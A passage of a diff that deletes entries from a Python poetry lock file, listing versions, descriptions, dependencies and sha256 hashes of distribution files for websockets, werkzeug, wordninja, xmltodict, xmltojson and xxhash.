-    {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8"},
-    {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3"},
-    {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf"},
-    {file = "websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85"},
-    {file = "websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065"},
-    {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3"},
-    {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665"},
-    {file = "websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2"},
-    {file = "websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215"},
-    {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5"},
-    {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65"},
-    {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe"},
-    {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4"},
-    {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597"},
-    {file = "websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9"},
-    {file = "websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7"},
-    {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931"},
-    {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675"},
-    {file = "websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151"},
-    {file = "websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22"},
-    {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f"},
-    {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8"},
-    {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375"},
-    {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d"},
-    {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4"},
-    {file = "websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa"},
-    {file = "websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561"},
-    {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5f4c04ead5aed67c8a1a20491d54cdfba5884507a48dd798ecaf13c74c4489f5"},
-    {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:abdc0c6c8c648b4805c5eacd131910d2a7f6455dfd3becab248ef108e89ab16a"},
-    {file = "websockets-15.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a625e06551975f4b7ea7102bc43895b90742746797e2e14b70ed61c43a90f09b"},
-    {file = "websockets-15.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d591f8de75824cbb7acad4e05d2d710484f15f29d4a915092675ad3456f11770"},
-    {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:47819cea040f31d670cc8d324bb6435c6f133b8c7a19ec3d61634e62f8d8f9eb"},
-    {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac017dd64572e5c3bd01939121e4d16cf30e5d7e110a119399cf3133b63ad054"},
-    {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4a9fac8e469d04ce6c25bb2610dc535235bd4aa14996b4e6dbebf5e007eba5ee"},
-    {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363c6f671b761efcb30608d24925a382497c12c506b51661883c3e22337265ed"},
-    {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2034693ad3097d5355bfdacfffcbd3ef5694f9718ab7f29c29689a9eae841880"},
-    {file = "websockets-15.0.1-cp39-cp39-win32.whl", hash = "sha256:3b1ac0d3e594bf121308112697cf4b32be538fb1444468fb0a6ae4feebc83411"},
-    {file = "websockets-15.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:b7643a03db5c95c799b89b31c036d5f27eeb4d259c798e878d6937d71832b1e4"},
-    {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3"},
-    {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1"},
-    {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475"},
-    {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9"},
-    {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04"},
-    {file = "websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122"},
-    {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7f493881579c90fc262d9cdbaa05a6b54b3811c2f300766748db79f098db9940"},
-    {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:47b099e1f4fbc95b701b6e85768e1fcdaf1630f3cbe4765fa216596f12310e2e"},
-    {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f2b6de947f8c757db2db9c71527933ad0019737ec374a8a6be9a956786aaf9"},
-    {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d08eb4c2b7d6c41da6ca0600c077e93f5adcfd979cd777d747e9ee624556da4b"},
-    {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b826973a4a2ae47ba357e4e82fa44a463b8f168e1ca775ac64521442b19e87f"},
-    {file = "websockets-15.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:21c1fa28a6a7e3cbdc171c694398b6df4744613ce9b36b1a498e816787e28123"},
-    {file = "websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f"},
-    {file = "websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee"},
-]
-
-[[package]]
-name = "werkzeug"
-version = "3.1.6"
-description = "The comprehensive WSGI web application library."
-optional = false
-python-versions = ">=3.9"
-groups = ["dev"]
-files = [
-    {file = "werkzeug-3.1.6-py3-none-any.whl", hash = "sha256:7ddf3357bb9564e407607f988f683d72038551200c704012bb9a4c523d42f131"},
-    {file = "werkzeug-3.1.6.tar.gz", hash = "sha256:210c6bede5a420a913956b4791a7f4d6843a43b6fcee4dfa08a65e93007d0d25"},
-]
-
-[package.dependencies]
-markupsafe = ">=2.1.1"
-
-[package.extras]
-watchdog = ["watchdog (>=2.3)"]
-
-[[package]]
-name = "wordninja"
-version = "2.0.0"
-description = "Probabilistically split concatenated words using NLP based on English Wikipedia uni-gram frequencies."
-optional = false
-python-versions = "*"
-groups = ["main"]
-files = [
-    {file = "wordninja-2.0.0.tar.gz", hash = "sha256:1a1cc7ec146ad19d6f71941ee82aef3d31221700f0d8bf844136cf8df79d281a"},
-]
-
-[[package]]
-name = "xmltodict"
-version = "0.14.2"
-description = "Makes working with XML feel like you are working with JSON"
-optional = false
-python-versions = ">=3.6"
-groups = ["main"]
-files = [
-    {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"},
-    {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"},
-]
-
-[[package]]
-name = "xmltojson"
-version = "2.0.3"
-description = "A Python module and cli tool to quickly convert xml text or files into json"
-optional = false
-python-versions = "<4.0,>=3.7"
-groups = ["main"]
-files = [
-    {file = "xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a"},
-    {file = "xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d"},
-]
-
-[package.dependencies]
-xmltodict = "0.14.2"
-
-[[package]]
-name = "xxhash"
-version = "3.6.0"
-description = "Python binding for xxHash"
-optional = false
-python-versions = ">=3.7"
-groups = ["main"]
-files = [
-    {file = "xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71"},
-    {file = "xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d"},
-    {file = "xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8"},
-    {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058"},
-    {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2"},
-    {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc"},
-    {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc"},
-    {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07"},
-    {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4"},
-    {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06"},
-    {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4"},
-    {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b"},
-    {file = "xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b"},
-    {file = "xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb"},
-    {file = "xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d"},
-    {file = "xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a"},
-    {file = "xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa"},
-    {file = "xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248"},
-    {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62"},
-    {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f"},
-    {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e"},
-    {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8"},
-    {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0"},
-    {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77"},
-    {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c"},
-    {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b"},
-    {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3"},
-    {file = "xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd"},
-    {file = "xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef"},
-    {file = "xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7"},
-    {file = "xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c"},
-    {file = "xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204"},
-    {file = "xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490"},
-    {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2"},
-    {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa"},
-    {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0"},
-    {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2"},
-    {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9"},
-    {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e"},
-    {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374"},
-    {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d"},
-    {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae"},
-    {file = "xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb"},
-    {file = "xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c"},
-    {file = "xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829"},
-    {file = "xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec"},
-    {file = "xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1"},
-    {file = "xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6"},
-    {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:858dc935963a33bc33490128edc1c12b0c14d9c7ebaa4e387a7869ecc4f3e263"},
-    {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba284920194615cb8edf73bf52236ce2e1664ccd4a38fdb543506413529cc546"},
-    {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89"},
-    {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d"},
-    {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7"},
-    {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db"},
-    {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42"},
-    {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11"},
-    {file = "xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd"},
-    {file = "xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799"},
-    {file = "xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392"},
-    {file = "xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6"},
-    {file = "xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702"},
-    {file = "xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db"},
-    {file = "xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54"},
-    {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f"},
-    {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5"},
-    {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1"},
-    {file = "xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee"},
-    {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd"},
-    {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729"},
-    {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292"},
-    {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf"},
-    {file = "xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033"},
-    {file = "xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec"},
-    {file = "xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8"},
-    {file = "xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746"},
-    {file = "xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e"},
-    {file = "xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405"},
-    {file = "xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3"},
-    {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6"},
-    {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063"},
-    {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7"},
-    {file = "xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b"},
-    {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd"},
-    {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0"},
-    {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152"},
-    {file = "xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11"},
